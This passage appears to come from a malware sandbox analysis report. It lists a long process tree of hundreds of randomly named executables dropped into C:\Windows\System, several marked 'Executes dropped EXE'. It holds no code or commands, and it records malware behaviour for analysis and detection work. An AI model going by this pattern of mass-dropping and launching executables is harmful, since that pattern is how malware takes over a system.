  C:\Windows\System\MHDnuia.exe
  2⤵
  - Executes dropped EXE
  PID:2188
- C:\Windows\System\PisclJb.exe
  C:\Windows\System\PisclJb.exe
  2⤵
  - Executes dropped EXE
  PID:1368
- C:\Windows\System\tTeDnJW.exe
  C:\Windows\System\tTeDnJW.exe
  2⤵
  - Executes dropped EXE
  PID:3144
- C:\Windows\System\ozzsFXh.exe
  C:\Windows\System\ozzsFXh.exe
  2⤵
  - Executes dropped EXE
  PID:2820
- C:\Windows\System\qBVNpmt.exe
  C:\Windows\System\qBVNpmt.exe
  2⤵
  - Executes dropped EXE
  PID:3904
- C:\Windows\System\ysGZYQd.exe
  C:\Windows\System\ysGZYQd.exe
  2⤵
  - Executes dropped EXE
  PID:2160
- C:\Windows\System\ycWwSuX.exe
  C:\Windows\System\ycWwSuX.exe
  2⤵
  - Executes dropped EXE
  PID:2192
- C:\Windows\System\nFcNsRm.exe
  C:\Windows\System\nFcNsRm.exe
  2⤵
  - Executes dropped EXE
  PID:3404
- C:\Windows\System\lMxkNig.exe
  C:\Windows\System\lMxkNig.exe
  2⤵
  - Executes dropped EXE
  PID:4988
- C:\Windows\System\MsVbIjR.exe
  C:\Windows\System\MsVbIjR.exe
  2⤵
  - Executes dropped EXE
  PID:3392
- C:\Windows\System\NZxaUss.exe
  C:\Windows\System\NZxaUss.exe
  2⤵
  - Executes dropped EXE
  PID:4644
- C:\Windows\System\TOAFWIA.exe
  C:\Windows\System\TOAFWIA.exe
  2⤵
  - Executes dropped EXE
  PID:3584
- C:\Windows\System\EvmFgOn.exe
  C:\Windows\System\EvmFgOn.exe
  2⤵
  - Executes dropped EXE
  PID:1952
- C:\Windows\System\AARFmOp.exe
  C:\Windows\System\AARFmOp.exe
  2⤵
  - Executes dropped EXE
  PID:1484
- C:\Windows\System\qmFwEzq.exe
  C:\Windows\System\qmFwEzq.exe
  2⤵
  - Executes dropped EXE
  PID:1496
- C:\Windows\System\IszEjgW.exe
  C:\Windows\System\IszEjgW.exe
  2⤵
  - Executes dropped EXE
  PID:5068
- C:\Windows\System\GRVTUUZ.exe
  C:\Windows\System\GRVTUUZ.exe
  2⤵
  - Executes dropped EXE
  PID:1816
- C:\Windows\System\cLewTlb.exe
  C:\Windows\System\cLewTlb.exe
  2⤵
  - Executes dropped EXE
  PID:2168
- C:\Windows\System\fIbQsPX.exe
  C:\Windows\System\fIbQsPX.exe
  2⤵
  - Executes dropped EXE
  PID:2484
- C:\Windows\System\xjRqYpF.exe
  C:\Windows\System\xjRqYpF.exe
  2⤵
  - Executes dropped EXE
  PID:3176
- C:\Windows\System\hiNGKaB.exe
  C:\Windows\System\hiNGKaB.exe
  2⤵
  - Executes dropped EXE
  PID:3616
- C:\Windows\System\rIWCzff.exe
  C:\Windows\System\rIWCzff.exe
  2⤵
  - Executes dropped EXE
  PID:4724
- C:\Windows\System\cWHLDJS.exe
  C:\Windows\System\cWHLDJS.exe
  2⤵
  - Executes dropped EXE
  PID:4516
- C:\Windows\System\EfRCKto.exe
  C:\Windows\System\EfRCKto.exe
  2⤵
  - Executes dropped EXE
  PID:3932
- C:\Windows\System\vBVYrXj.exe
  C:\Windows\System\vBVYrXj.exe
  2⤵
  - Executes dropped EXE
  PID:2396
- C:\Windows\System\MrZqFdI.exe
  C:\Windows\System\MrZqFdI.exe
  2⤵
  - Executes dropped EXE
  PID:4840
- C:\Windows\System\ogcqdeb.exe
  C:\Windows\System\ogcqdeb.exe
  2⤵
  - Executes dropped EXE
  PID:1384
- C:\Windows\System\OqKHKfW.exe
  C:\Windows\System\OqKHKfW.exe
  2⤵
  - Executes dropped EXE
  PID:5028
- C:\Windows\System\cVkyNKB.exe
  C:\Windows\System\cVkyNKB.exe
  2⤵
  - Executes dropped EXE
  PID:4332
- C:\Windows\System\ZXVwaVm.exe
  C:\Windows\System\ZXVwaVm.exe
  2⤵
  - Executes dropped EXE
  PID:5000
- C:\Windows\System\JMWJtKy.exe
  C:\Windows\System\JMWJtKy.exe
  2⤵
  - Executes dropped EXE
  PID:3980
- C:\Windows\System\LYxjAje.exe
  C:\Windows\System\LYxjAje.exe
  2⤵
  - Executes dropped EXE
  PID:2580
- C:\Windows\System\AktwlZW.exe
  C:\Windows\System\AktwlZW.exe
  2⤵
  - Executes dropped EXE
  PID:2496
- C:\Windows\System\xdPLWHT.exe
  C:\Windows\System\xdPLWHT.exe
  2⤵
  - Executes dropped EXE
  PID:3064
- C:\Windows\System\rnpJEVL.exe
  C:\Windows\System\rnpJEVL.exe
  2⤵
  - Executes dropped EXE
  PID:3516
- C:\Windows\System\CruEsAU.exe
  C:\Windows\System\CruEsAU.exe
  2⤵
  - Executes dropped EXE
  PID:3212
- C:\Windows\System\ioXatjO.exe
  C:\Windows\System\ioXatjO.exe
  2⤵
  - Executes dropped EXE
  PID:2776
- C:\Windows\System\xzsdsBu.exe
  C:\Windows\System\xzsdsBu.exe
  2⤵
  - Executes dropped EXE
  PID:1832
- C:\Windows\System\zqDorzT.exe
  C:\Windows\System\zqDorzT.exe
  2⤵
  - Executes dropped EXE
  PID:1860
- C:\Windows\System\ZuWshHe.exe
  C:\Windows\System\ZuWshHe.exe
  2⤵
  - Executes dropped EXE
  PID:1664
- C:\Windows\System\vYkjCcC.exe
  C:\Windows\System\vYkjCcC.exe
  2⤵
  - Executes dropped EXE
  PID:3752
- C:\Windows\System\DjFQiha.exe
  C:\Windows\System\DjFQiha.exe
  2⤵
  - Executes dropped EXE
  PID:4132
- C:\Windows\System\wDRFrBa.exe
  C:\Windows\System\wDRFrBa.exe
  2⤵
  - Executes dropped EXE
  PID:4376
- C:\Windows\System\MLkopUE.exe
  C:\Windows\System\MLkopUE.exe
  2⤵
  PID:224
- C:\Windows\System\AaeyHFB.exe
  C:\Windows\System\AaeyHFB.exe
  2⤵
  PID:1820
- C:\Windows\System\cqiZkxR.exe
  C:\Windows\System\cqiZkxR.exe
  2⤵
  PID:5136
- C:\Windows\System\roYnJdq.exe
  C:\Windows\System\roYnJdq.exe
  2⤵
  PID:5172
- C:\Windows\System\SMkXVCs.exe
  C:\Windows\System\SMkXVCs.exe
  2⤵
  PID:5192
- C:\Windows\System\YINjJRF.exe
  C:\Windows\System\YINjJRF.exe
  2⤵
  PID:5208
- C:\Windows\System\BrrMCmU.exe
  C:\Windows\System\BrrMCmU.exe
  2⤵
  PID:5236
- C:\Windows\System\yXroeaw.exe
  C:\Windows\System\yXroeaw.exe
  2⤵
  PID:5252
- C:\Windows\System\BbGnxxE.exe
  C:\Windows\System\BbGnxxE.exe
  2⤵
  PID:5268
- C:\Windows\System\LwrHVRJ.exe
  C:\Windows\System\LwrHVRJ.exe
  2⤵
  PID:5288
- C:\Windows\System\XxObcWJ.exe
  C:\Windows\System\XxObcWJ.exe
  2⤵
  PID:5676
- C:\Windows\System\OaQuFEV.exe
  C:\Windows\System\OaQuFEV.exe
  2⤵
  PID:5704
- C:\Windows\System\sGYlxTq.exe
  C:\Windows\System\sGYlxTq.exe
  2⤵
  PID:5740
- C:\Windows\System\hTcupzv.exe
  C:\Windows\System\hTcupzv.exe
  2⤵
  PID:5756
- C:\Windows\System\IuUlrVP.exe
  C:\Windows\System\IuUlrVP.exe
  2⤵
  PID:5772
- C:\Windows\System\BpcAbKy.exe
  C:\Windows\System\BpcAbKy.exe
  2⤵
  PID:5788
- C:\Windows\System\WGVtnKk.exe
  C:\Windows\System\WGVtnKk.exe
  2⤵
  PID:5804
- C:\Windows\System\mbxQHSL.exe
  C:\Windows\System\mbxQHSL.exe
  2⤵
  PID:5820
- C:\Windows\System\ZBAiJTD.exe
  C:\Windows\System\ZBAiJTD.exe
  2⤵
  PID:5836
- C:\Windows\System\KeBmeTY.exe
  C:\Windows\System\KeBmeTY.exe
  2⤵
  PID:5852
- C:\Windows\System\dDAWvag.exe
  C:\Windows\System\dDAWvag.exe
  2⤵
  PID:5868
- C:\Windows\System\BvEcmFK.exe
  C:\Windows\System\BvEcmFK.exe
  2⤵
  PID:5884
- C:\Windows\System\XdGbSYO.exe
  C:\Windows\System\XdGbSYO.exe
  2⤵
  PID:5900
- C:\Windows\System\WQmnRuq.exe
  C:\Windows\System\WQmnRuq.exe
  2⤵
  PID:5916
- C:\Windows\System\dtvAdgZ.exe
  C:\Windows\System\dtvAdgZ.exe
  2⤵
  PID:5932
- C:\Windows\System\gPfPoqS.exe
  C:\Windows\System\gPfPoqS.exe
  2⤵
  PID:5948
- C:\Windows\System\SYZJlEb.exe
  C:\Windows\System\SYZJlEb.exe
  2⤵
  PID:5964
- C:\Windows\System\DrLFgTA.exe
  C:\Windows\System\DrLFgTA.exe
  2⤵
  PID:5980
- C:\Windows\System\NohgoeP.exe
  C:\Windows\System\NohgoeP.exe
  2⤵
  PID:5996
- C:\Windows\System\bSoSqGV.exe
  C:\Windows\System\bSoSqGV.exe
  2⤵
  PID:6012
- C:\Windows\System\SaqQLYC.exe
  C:\Windows\System\SaqQLYC.exe
  2⤵
  PID:6028
- C:\Windows\System\OjAECNN.exe
  C:\Windows\System\OjAECNN.exe
  2⤵
  PID:3148
- C:\Windows\System\IDTvHLT.exe
  C:\Windows\System\IDTvHLT.exe
  2⤵
  PID:3188
- C:\Windows\System\WsEDpIi.exe
  C:\Windows\System\WsEDpIi.exe
  2⤵
  PID:3848
- C:\Windows\System\XbWifkp.exe
  C:\Windows\System\XbWifkp.exe
  2⤵
  PID:4104
- C:\Windows\System\jBiIxAS.exe
  C:\Windows\System\jBiIxAS.exe
  2⤵
  PID:3084
- C:\Windows\System\VarwmXg.exe
  C:\Windows\System\VarwmXg.exe
  2⤵
  PID:3156
- C:\Windows\System\xrzMKgn.exe
  C:\Windows\System\xrzMKgn.exe
  2⤵
  PID:1752
- C:\Windows\System\XtKJzZq.exe
  C:\Windows\System\XtKJzZq.exe
  2⤵
  PID:5152
- C:\Windows\System\quQbSzW.exe
  C:\Windows\System\quQbSzW.exe
  2⤵
  PID:5188
- C:\Windows\System\tUDnnXv.exe
  C:\Windows\System\tUDnnXv.exe
  2⤵
  PID:5248
- C:\Windows\System\GWlAFWi.exe
  C:\Windows\System\GWlAFWi.exe
  2⤵
  PID:5320
- C:\Windows\System\aqnzxbd.exe
  C:\Windows\System\aqnzxbd.exe
  2⤵
  PID:5848
- C:\Windows\System\RsuqdMd.exe
  C:\Windows\System\RsuqdMd.exe
  2⤵
  PID:5892
- C:\Windows\System\ojtcVBb.exe
  C:\Windows\System\ojtcVBb.exe
  2⤵
  PID:5928
- C:\Windows\System\QGjToJO.exe
  C:\Windows\System\QGjToJO.exe
  2⤵
  PID:5960
- C:\Windows\System\hXTbSyP.exe
  C:\Windows\System\hXTbSyP.exe
  2⤵
  PID:6004
- C:\Windows\System\eKQjtGi.exe
  C:\Windows\System\eKQjtGi.exe
  2⤵
  PID:5496
- C:\Windows\System\TfATeJW.exe
  C:\Windows\System\TfATeJW.exe
  2⤵
  PID:6088
- C:\Windows\System\GheZrxd.exe
  C:\Windows\System\GheZrxd.exe
  2⤵
  PID:6136
- C:\Windows\System\vXozuXo.exe
  C:\Windows\System\vXozuXo.exe
  2⤵
  PID:1464
- C:\Windows\System\LhECxHf.exe
  C:\Windows\System\LhECxHf.exe
  2⤵
  PID:1596
- C:\Windows\System\bgErDTv.exe
  C:\Windows\System\bgErDTv.exe
  2⤵
  PID:1880
- C:\Windows\System\bLfvYsL.exe
  C:\Windows\System\bLfvYsL.exe
  2⤵
  PID:424
- C:\Windows\System\FVnbjvu.exe
  C:\Windows\System\FVnbjvu.exe
  2⤵
  PID:4408
- C:\Windows\System\vDmJymh.exe
  C:\Windows\System\vDmJymh.exe
  2⤵
  PID:5144
- C:\Windows\System\iWhcViP.exe
  C:\Windows\System\iWhcViP.exe
  2⤵
  PID:5356
- C:\Windows\System\YQAePtU.exe
  C:\Windows\System\YQAePtU.exe
  2⤵
  PID:5304
- C:\Windows\System\aImHLIJ.exe
  C:\Windows\System\aImHLIJ.exe
  2⤵
  PID:4240
- C:\Windows\System\QNSituo.exe
  C:\Windows\System\QNSituo.exe
  2⤵
  PID:3756
- C:\Windows\System\iVhTosS.exe
  C:\Windows\System\iVhTosS.exe
  2⤵
  PID:4284
- C:\Windows\System\EOVhgiG.exe
  C:\Windows\System\EOVhgiG.exe
  2⤵
  PID:3956
- C:\Windows\System\fUGBTdF.exe
  C:\Windows\System\fUGBTdF.exe
  2⤵
  PID:2448
- C:\Windows\System\hXMurhr.exe
  C:\Windows\System\hXMurhr.exe
  2⤵
  PID:4440
- C:\Windows\System\rHHpEgN.exe
  C:\Windows\System\rHHpEgN.exe
  2⤵
  PID:2772
- C:\Windows\System\xDBTrbT.exe
  C:\Windows\System\xDBTrbT.exe
  2⤵
  PID:1556
- C:\Windows\System\SVxilMP.exe
  C:\Windows\System\SVxilMP.exe
  2⤵
  PID:2404
- C:\Windows\System\VVybsZr.exe
  C:\Windows\System\VVybsZr.exe
  2⤵
  PID:1076
- C:\Windows\System\fIztSHO.exe
  C:\Windows\System\fIztSHO.exe
  2⤵
  PID:4048
- C:\Windows\System\VtrnTco.exe
  C:\Windows\System\VtrnTco.exe
  2⤵
  PID:3400
- C:\Windows\System\MCWKeIW.exe
  C:\Windows\System\MCWKeIW.exe
  2⤵
  PID:3020
- C:\Windows\System\sYyvXWk.exe
  C:\Windows\System\sYyvXWk.exe
  2⤵
  PID:5448
- C:\Windows\System\kdnxZZW.exe
  C:\Windows\System\kdnxZZW.exe
  2⤵
  PID:5484
- C:\Windows\System\hiDXTou.exe
  C:\Windows\System\hiDXTou.exe
  2⤵
  PID:5468
- C:\Windows\System\cgjtcoA.exe
  C:\Windows\System\cgjtcoA.exe
  2⤵
  PID:2556
- C:\Windows\System\ytFCfRk.exe
  C:\Windows\System\ytFCfRk.exe
  2⤵
  PID:6080
- C:\Windows\System\DpgkIwj.exe
  C:\Windows\System\DpgkIwj.exe
  2⤵
  PID:3944
- C:\Windows\System\SJsGfCV.exe
  C:\Windows\System\SJsGfCV.exe
  2⤵
  PID:6112
- C:\Windows\System\GRDJfKA.exe
  C:\Windows\System\GRDJfKA.exe
  2⤵
  PID:2588
- C:\Windows\System\kBvjwkd.exe
  C:\Windows\System\kBvjwkd.exe
  2⤵
  PID:5800
- C:\Windows\System\RmLNPQo.exe
  C:\Windows\System\RmLNPQo.exe
  2⤵
  PID:1948
- C:\Windows\System\sHUTwix.exe
  C:\Windows\System\sHUTwix.exe
  2⤵
  PID:3920
- C:\Windows\System\iZxiVJL.exe
  C:\Windows\System\iZxiVJL.exe
  2⤵
  PID:4764
- C:\Windows\System\ypQKpoD.exe
  C:\Windows\System\ypQKpoD.exe
  2⤵
  PID:620
- C:\Windows\System\GgbQwMO.exe
  C:\Windows\System\GgbQwMO.exe
  2⤵
  PID:524
- C:\Windows\System\CcuqInl.exe
  C:\Windows\System\CcuqInl.exe
  2⤵
  PID:1784
- C:\Windows\System\LVoFgdJ.exe
  C:\Windows\System\LVoFgdJ.exe
  2⤵
  PID:3460
- C:\Windows\System\kzUPnDD.exe
  C:\Windows\System\kzUPnDD.exe
  2⤵
  PID:2284
- C:\Windows\System\SoYSHsL.exe
  C:\Windows\System\SoYSHsL.exe
  2⤵
  PID:2388
- C:\Windows\System\rprhIno.exe
  C:\Windows\System\rprhIno.exe
  2⤵
  PID:4252
- C:\Windows\System\wjrKvpf.exe
  C:\Windows\System\wjrKvpf.exe
  2⤵
  PID:6148
- C:\Windows\System\kvcJDEP.exe
  C:\Windows\System\kvcJDEP.exe
  2⤵
  PID:6172
- C:\Windows\System\wiWITEt.exe
  C:\Windows\System\wiWITEt.exe
  2⤵
  PID:6188
- C:\Windows\System\URkFsmJ.exe
  C:\Windows\System\URkFsmJ.exe
  2⤵
  PID:6216
- C:\Windows\System\IRIjjva.exe
  C:\Windows\System\IRIjjva.exe
  2⤵
  PID:6240
- C:\Windows\System\gExjAwX.exe
  C:\Windows\System\gExjAwX.exe
  2⤵
  PID:6264
- C:\Windows\System\cSNkhWe.exe
  C:\Windows\System\cSNkhWe.exe
  2⤵
  PID:6280
- C:\Windows\System\SMgkJzq.exe
  C:\Windows\System\SMgkJzq.exe
  2⤵
  PID:6308
- C:\Windows\System\kxuXbPZ.exe
  C:\Windows\System\kxuXbPZ.exe
  2⤵
  PID:6328
- C:\Windows\System\bBsbzko.exe
  C:\Windows\System\bBsbzko.exe
  2⤵
  PID:6348
- C:\Windows\System\UbOUtzm.exe
  C:\Windows\System\UbOUtzm.exe
  2⤵
  PID:6368
- C:\Windows\System\sTqnznf.exe
  C:\Windows\System\sTqnznf.exe
  2⤵
  PID:6396
- C:\Windows\System\SYTAZIn.exe
  C:\Windows\System\SYTAZIn.exe
  2⤵
  PID:6416
- C:\Windows\System\rmodOUQ.exe
  C:\Windows\System\rmodOUQ.exe
  2⤵
  PID:6444
- C:\Windows\System\EXiicVI.exe
  C:\Windows\System\EXiicVI.exe
  2⤵
  PID:6464
- C:\Windows\System\ZBIuJAb.exe
  C:\Windows\System\ZBIuJAb.exe
  2⤵
  PID:6488
- C:\Windows\System\sXjHGpY.exe
  C:\Windows\System\sXjHGpY.exe
  2⤵
  PID:6508
- C:\Windows\System\dYFGkzA.exe
  C:\Windows\System\dYFGkzA.exe
  2⤵
  PID:6532
- C:\Windows\System\SNGzLaf.exe
  C:\Windows\System\SNGzLaf.exe
  2⤵
  PID:6548
- C:\Windows\System\gxZUGWk.exe
  C:\Windows\System\gxZUGWk.exe
  2⤵
  PID:6576
- C:\Windows\System\AEyXxyp.exe
  C:\Windows\System\AEyXxyp.exe
  2⤵
  PID:6596
- C:\Windows\System\FHiYxPV.exe
  C:\Windows\System\FHiYxPV.exe
  2⤵
  PID:6620
- C:\Windows\System\MquCpeA.exe
  C:\Windows\System\MquCpeA.exe
  2⤵
  PID:6640
- C:\Windows\System\GkmAwNB.exe
  C:\Windows\System\GkmAwNB.exe
  2⤵
  PID:6660
- C:\Windows\System\qiaTpGX.exe
  C:\Windows\System\qiaTpGX.exe
  2⤵
  PID:6684
- C:\Windows\System\hbrhGwz.exe
  C:\Windows\System\hbrhGwz.exe
  2⤵
  PID:6704
- C:\Windows\System\tbdXKrJ.exe
  C:\Windows\System\tbdXKrJ.exe
  2⤵
  PID:6724
- C:\Windows\System\yLttxSs.exe
  C:\Windows\System\yLttxSs.exe
  2⤵
  PID:6748
- C:\Windows\System\xpIZqyc.exe
  C:\Windows\System\xpIZqyc.exe
  2⤵
  PID:6768
- C:\Windows\System\pOitcVA.exe
  C:\Windows\System\pOitcVA.exe
  2⤵
  PID:6788
- C:\Windows\System\LdADnwB.exe
  C:\Windows\System\LdADnwB.exe
  2⤵
  PID:6816
- C:\Windows\System\YPkiMVS.exe
  C:\Windows\System\YPkiMVS.exe
  2⤵
  PID:6832
- C:\Windows\System\xFDtSft.exe
  C:\Windows\System\xFDtSft.exe
  2⤵
  PID:6860
- C:\Windows\System\VqGeqJL.exe
  C:\Windows\System\VqGeqJL.exe
  2⤵
  PID:6876
- C:\Windows\System\MbHzsKW.exe
  C:\Windows\System\MbHzsKW.exe
  2⤵
  PID:6900
- C:\Windows\System\WyICjrB.exe
  C:\Windows\System\WyICjrB.exe
  2⤵
  PID:6924
- C:\Windows\System\vpMbrIm.exe
  C:\Windows\System\vpMbrIm.exe
  2⤵
  PID:6940
- C:\Windows\System\UWEjbqp.exe
  C:\Windows\System\UWEjbqp.exe
  2⤵
  PID:6968
- C:\Windows\System\RcGUNGN.exe
  C:\Windows\System\RcGUNGN.exe
  2⤵
  PID:6984
- C:\Windows\System\bPflnbt.exe
  C:\Windows\System\bPflnbt.exe
  2⤵
  PID:7016
- C:\Windows\System\ZXKHJQe.exe
  C:\Windows\System\ZXKHJQe.exe
  2⤵
  PID:7036
- C:\Windows\System\PUokuIn.exe
  C:\Windows\System\PUokuIn.exe
  2⤵
  PID:7052
- C:\Windows\System\CDqSfGN.exe
  C:\Windows\System\CDqSfGN.exe
  2⤵
  PID:7076
- C:\Windows\System\NXnJmbG.exe
  C:\Windows\System\NXnJmbG.exe
  2⤵
  PID:7096
- C:\Windows\System\vKJalBO.exe
  C:\Windows\System\vKJalBO.exe
  2⤵
  PID:7120
- C:\Windows\System\YgkKIch.exe
  C:\Windows\System\YgkKIch.exe
  2⤵
  PID:7140
- C:\Windows\System\EIYBDIa.exe
  C:\Windows\System\EIYBDIa.exe
  2⤵
  PID:7164
- C:\Windows\System\lblfAMv.exe
  C:\Windows\System\lblfAMv.exe
  2⤵
  PID:3132
- C:\Windows\System\KWWUvsz.exe
  C:\Windows\System\KWWUvsz.exe
  2⤵
  PID:4532
- C:\Windows\System\CtfsLhN.exe
  C:\Windows\System\CtfsLhN.exe
  2⤵
  PID:1040
- C:\Windows\System\YYTaqtO.exe
  C:\Windows\System\YYTaqtO.exe
  2⤵
  PID:5460
- C:\Windows\System\iAxtmtr.exe
  C:\Windows\System\iAxtmtr.exe
  2⤵
  PID:6164
- C:\Windows\System\UhaMACK.exe
  C:\Windows\System\UhaMACK.exe
  2⤵
  PID:512
- C:\Windows\System\UDsGiHx.exe
  C:\Windows\System\UDsGiHx.exe
  2⤵
  PID:6304
- C:\Windows\System\zTZzEZk.exe
  C:\Windows\System\zTZzEZk.exe
  2⤵
  PID:6340
- C:\Windows\System\DFNCxzj.exe
  C:\Windows\System\DFNCxzj.exe
  2⤵
  PID:6196
- C:\Windows\System\UPcSckk.exe
  C:\Windows\System\UPcSckk.exe
  2⤵
  PID:6260
- C:\Windows\System\pqXUIkA.exe
  C:\Windows\System\pqXUIkA.exe
  2⤵
  PID:6520
- C:\Windows\System\VVTeITU.exe
  C:\Windows\System\VVTeITU.exe
  2⤵
  PID:6356
- C:\Windows\System\PTwDfMj.exe
  C:\Windows\System\PTwDfMj.exe
  2⤵
  PID:6616
- C:\Windows\System\vmnwQNS.exe
  C:\Windows\System\vmnwQNS.exe
  2⤵
  PID:6652
- C:\Windows\System\BeuDdGM.exe
  C:\Windows\System\BeuDdGM.exe
  2⤵
  PID:6676
- C:\Windows\System\yVxdews.exe
  C:\Windows\System\yVxdews.exe
  2⤵
  PID:6720
- C:\Windows\System\wWunHie.exe
  C:\Windows\System\wWunHie.exe
  2⤵
  PID:6484
- C:\Windows\System\TKCSTPn.exe
  C:\Windows\System\TKCSTPn.exe
  2⤵
  PID:6500
- C:\Windows\System\lYayFEZ.exe
  C:\Windows\System\lYayFEZ.exe
  2⤵
  PID:6912
- C:\Windows\System\xDVMCav.exe
  C:\Windows\System\xDVMCav.exe
  2⤵
  PID:6992
- C:\Windows\System\tlpnZcT.exe
  C:\Windows\System\tlpnZcT.exe
  2⤵
  PID:7072
- C:\Windows\System\pdyVdmd.exe
  C:\Windows\System\pdyVdmd.exe
  2⤵
  PID:7180
- C:\Windows\System\vxxWFoa.exe
  C:\Windows\System\vxxWFoa.exe
  2⤵
  PID:7208
- C:\Windows\System\VVlakwX.exe
  C:\Windows\System\VVlakwX.exe
  2⤵
  PID:7228
- C:\Windows\System\jfIWZXH.exe
  C:\Windows\System\jfIWZXH.exe
  2⤵
  PID:7248
- C:\Windows\System\qGgPLga.exe
  C:\Windows\System\qGgPLga.exe
  2⤵
  PID:7272
- C:\Windows\System\SyuHPnY.exe
  C:\Windows\System\SyuHPnY.exe
  2⤵
  PID:7292
- C:\Windows\System\Unzsfkm.exe
  C:\Windows\System\Unzsfkm.exe
  2⤵
  PID:7316
- C:\Windows\System\CDdcEBv.exe
  C:\Windows\System\CDdcEBv.exe
  2⤵
  PID:7336
- C:\Windows\System\ltsdACf.exe
  C:\Windows\System\ltsdACf.exe
  2⤵
  PID:7356
- C:\Windows\System\CqDZbKo.exe
  C:\Windows\System\CqDZbKo.exe
  2⤵
  PID:7380
- C:\Windows\System\zSynSyk.exe
  C:\Windows\System\zSynSyk.exe
  2⤵
  PID:7404
- C:\Windows\System\lYagsuY.exe
  C:\Windows\System\lYagsuY.exe
  2⤵
  PID:7424
- C:\Windows\System\CjaYOzL.exe
  C:\Windows\System\CjaYOzL.exe
  2⤵
  PID:7448
- C:\Windows\System\pouBxQh.exe
  C:\Windows\System\pouBxQh.exe
  2⤵
  PID:7468
- C:\Windows\System\BXDahIA.exe
  C:\Windows\System\BXDahIA.exe
  2⤵
  PID:7492
- C:\Windows\System\ksYrKrR.exe
  C:\Windows\System\ksYrKrR.exe
  2⤵
  PID:7516
- C:\Windows\System\oruhxxN.exe
  C:\Windows\System\oruhxxN.exe
  2⤵
  PID:7532
- C:\Windows\System\jDTEUpk.exe
  C:\Windows\System\jDTEUpk.exe
  2⤵
  PID:7556
- C:\Windows\System\YesXtfw.exe
  C:\Windows\System\YesXtfw.exe
  2⤵
  PID:7584
- C:\Windows\System\sixKwnW.exe
  C:\Windows\System\sixKwnW.exe
  2⤵
  PID:7608
- C:\Windows\System\HMyHIxG.exe
  C:\Windows\System\HMyHIxG.exe
  2⤵
  PID:7624
- C:\Windows\System\GOzWcMq.exe
  C:\Windows\System\GOzWcMq.exe
  2⤵
  PID:7648
- C:\Windows\System\opJfEcv.exe
  C:\Windows\System\opJfEcv.exe
  2⤵
  PID:7672
- C:\Windows\System\kQjgTjq.exe
  C:\Windows\System\kQjgTjq.exe
  2⤵
  PID:7692
- C:\Windows\System\NbNeLwA.exe
  C:\Windows\System\NbNeLwA.exe
  2⤵
  PID:7712
- C:\Windows\System\sIQZJYT.exe
  C:\Windows\System\sIQZJYT.exe
  2⤵
  PID:7736
- C:\Windows\System\SaEYfMt.exe
  C:\Windows\System\SaEYfMt.exe
  2⤵
  PID:7764
- C:\Windows\System\OWWLJal.exe
  C:\Windows\System\OWWLJal.exe
  2⤵
  PID:7784
- C:\Windows\System\xNeYBUt.exe
  C:\Windows\System\xNeYBUt.exe
  2⤵
  PID:7808
- C:\Windows\System\dfaJYCI.exe
  C:\Windows\System\dfaJYCI.exe
  2⤵
  PID:7832
- C:\Windows\System\YPLbbdO.exe
  C:\Windows\System\YPLbbdO.exe
  2⤵
  PID:7848
- C:\Windows\System\LXPdRfe.exe
  C:\Windows\System\LXPdRfe.exe
  2⤵
  PID:7872
- C:\Windows\System\OoLsnie.exe
  C:\Windows\System\OoLsnie.exe
  2⤵
  PID:7892
- C:\Windows\System\VYgMGwM.exe
  C:\Windows\System\VYgMGwM.exe
  2⤵
  PID:7912
- C:\Windows\System\LCOBXHH.exe
  C:\Windows\System\LCOBXHH.exe
  2⤵
  PID:7936
- C:\Windows\System\HmrHKUY.exe
  C:\Windows\System\HmrHKUY.exe
  2⤵
  PID:7956
- C:\Windows\System\vIOIVhx.exe
  C:\Windows\System\vIOIVhx.exe
  2⤵
  PID:7976
- C:\Windows\System\wnOIlDJ.exe
  C:\Windows\System\wnOIlDJ.exe
  2⤵
  PID:8000
- C:\Windows\System\nRaNbmI.exe
  C:\Windows\System\nRaNbmI.exe
  2⤵
  PID:8028
- C:\Windows\System\xbudOBW.exe
  C:\Windows\System\xbudOBW.exe
  2⤵
  PID:8056
- C:\Windows\System\xbQclot.exe
  C:\Windows\System\xbQclot.exe
  2⤵
  PID:8072
- C:\Windows\System\dXgpAmT.exe
  C:\Windows\System\dXgpAmT.exe
  2⤵
  PID:8096
- C:\Windows\System\upSIWzB.exe
  C:\Windows\System\upSIWzB.exe
  2⤵
  PID:8120
- C:\Windows\System\CzWnlxl.exe
  C:\Windows\System\CzWnlxl.exe
  2⤵
  PID:8140
- C:\Windows\System\FgcPRhy.exe
  C:\Windows\System\FgcPRhy.exe
  2⤵
  PID:8164
- C:\Windows\System\VyVQQoh.exe
  C:\Windows\System\VyVQQoh.exe
  2⤵
  PID:8184
- C:\Windows\System\aJdJMnd.exe
  C:\Windows\System\aJdJMnd.exe
  2⤵
  PID:7112
- C:\Windows\System\uwCtyTf.exe
  C:\Windows\System\uwCtyTf.exe
  2⤵
  PID:6480
- C:\Windows\System\ZSuqDNA.exe
  C:\Windows\System\ZSuqDNA.exe
  2⤵
  PID:6800
- C:\Windows\System\epNAbkx.exe
  C:\Windows\System\epNAbkx.exe
  2⤵
  PID:6884
- C:\Windows\System\xCUfDVe.exe
  C:\Windows\System\xCUfDVe.exe
  2⤵
  PID:6936
- C:\Windows\System\TLNFeln.exe
  C:\Windows\System\TLNFeln.exe
  2⤵
  PID:6632
- C:\Windows\System\rBdCqVV.exe
  C:\Windows\System\rBdCqVV.exe
  2⤵
  PID:6404
- C:\Windows\System\lsHAePw.exe
  C:\Windows\System\lsHAePw.exe
  2⤵
  PID:7060
- C:\Windows\System\xMDccbG.exe
  C:\Windows\System\xMDccbG.exe
  2⤵
  PID:7244
- C:\Windows\System\XGfGkJD.exe
  C:\Windows\System\XGfGkJD.exe
  2⤵
  PID:5956
- C:\Windows\System\Ssfyqhe.exe
  C:\Windows\System\Ssfyqhe.exe
  2⤵
  PID:6224
- C:\Windows\System\WwdfeqO.exe
  C:\Windows\System\WwdfeqO.exe
  2⤵
  PID:7416
- C:\Windows\System\pmsPbWr.exe
  C:\Windows\System\pmsPbWr.exe
  2⤵
  PID:7464
- C:\Windows\System\PiINGxF.exe
  C:\Windows\System\PiINGxF.exe
  2⤵
  PID:7568
- C:\Windows\System\kLhLYGA.exe
  C:\Windows\System\kLhLYGA.exe
  2⤵
  PID:7620
- C:\Windows\System\yvpeofe.exe
  C:\Windows\System\yvpeofe.exe
  2⤵
  PID:6828
- C:\Windows\System\YDaUpim.exe
  C:\Windows\System\YDaUpim.exe
  2⤵
  PID:7216
- C:\Windows\System\ajuDXWD.exe
  C:\Windows\System\ajuDXWD.exe
  2⤵
  PID:8204
- C:\Windows\System\WSBYdcy.exe
  C:\Windows\System\WSBYdcy.exe
  2⤵
  PID:8236
- C:\Windows\System\lcEYKYt.exe
  C:\Windows\System\lcEYKYt.exe
  2⤵
